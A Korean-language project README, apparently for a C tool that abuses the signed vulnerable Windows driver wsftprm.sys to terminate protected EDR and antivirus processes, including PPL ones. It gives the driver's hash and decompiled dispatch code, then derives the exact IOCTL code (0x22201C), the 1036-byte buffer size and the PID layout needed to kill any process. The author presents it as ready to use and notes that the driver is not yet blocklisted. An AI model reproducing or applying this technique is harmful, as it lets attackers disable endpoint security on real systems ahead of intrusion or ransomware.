
C 기반 도구로, 취약한 wsftprm.sys 커널 드라이버를 악용하여 역공학된 IOCTL 디스패치 로직을 통해 Windows에서 보호된 EDR/AV 프로세스(PPL 프로세스 포함)를 종료합니다.
젠장, 또 다른 드라이버가 타버렸다.. 나는 한동안 wsftprm.sys 드라이버를 게이트키핑하고 있었는데 ;) 누군가가 공개 PoC를 올렸으므로 이제 게이트키핑을 풀기로 했다. 곧 드라이버 블록리스트에 추가될 거라는 걸 우리 모두 알고 있으니, 여기에 C로 구현한 내 버전을 공유한다
이 프로젝트는 취약한 wsftprm.sys (Topaz Antifraud 커널 드라이버)를 악용하여 Windows에서 보호된 프로세스(예: 안티바이러스/EDR 서비스)를 종료합니다.
2026년 1월 기준으로, wsftprm.sys (SHA-256: FF5DBDCF6D7AE5D97B6F3EF412DF0B977BA4A844C45B30CA78C0EEB2653D69A8)는 Microsoft의 공식 취약 드라이버 블록리스트에 등재되지 않은 서명된 취약 드라이버 중 하나로 남아 있습니다.
드라이버를 로드하고 리버스 엔지니어링하는 방법에 대한 정보는 넘쳐나니 그 중 아무거나 참고하세요. 이 드라이버에서 흥미로운 점은 IOCTL 처리 방식입니다. 드라이버는 IOCTL 디스패치에 표준 switch 문을 사용하지 않습니다. 대신, IOCTL 코드에서 일련의 빼기 연산을 사용하여 의도된 값을 난독화합니다.
__int64 __fastcall DispatchDeviceControl(__int64 a1, __int64 a2, ...)
{
// ...
v7 = IoControlCode; // v6[6] = Parameters.DeviceIoControl.IoControlCode
v8 = v7 - 0x222000;
v9 = v8 - 4;
v10 = v9 - 4;
v11 = v10 - 16;
if ( v11 == 4 && InputBufferLength == 1036 )
{
// Copy 1036-byte input buffer
// Extract first DWORD as PID (v41)
// Call sub_14000264C(v41, buffer) → leads to termination
}
}
sub_14000264C(unsigned int a1, __int64 a2)
{
// ...
v4 = sub_140002848(a1); // a1 = PID from buffer[0..3]
}
__int64 __fastcall sub_140002848(unsigned int a1) // PID
{
CLIENT_ID ClientId = { (HANDLE)a1, 0 };
OBJECT_ATTRIBUTES ObjAttr = { sizeof(ObjAttr), 0, 0, 0, 0, 0 };
HANDLE ProcessHandle;
ZwOpenProcess(&ProcessHandle, PROCESS_ALL_ACCESS, &ObjAttr, &ClientId);
if (NT_SUCCESS(status) && ProcessHandle)
{
ZwTerminateProcess(ProcessHandle, 0);
ZwClose(ProcessHandle);
}
// ...
}
이제 취약 함수에 도달하기 위한 전제 조건을 알았습니다. 기본적으로 v11 == 4 && InputBufferLength == 1036 이므로, 조건을 역으로 추적하여 IOCTL 코드를 구할 수 있습니다.
대략 다음과 같습니다:
v11 == 4
→ v10 - 16 == 4 → v10 = 20 (0x14)
→ v9 - 4 == 20 → v9 = 24 (0x18)
→ v8 - 4 == 24 → v8 = 28 (0x1C)
→ v7 - 0x222000 == 28 → v7 = 0x222000 + 0x1C = 0x22201C
그런 다음 DeviceIoControl에 이 IOCTL 코드를 사용하여 원하는 프로세스(PPL 프로세스 포함)를 종료할 수 있습니다.
마지막으로 Windows 버전 25H2에서 테스트 완료!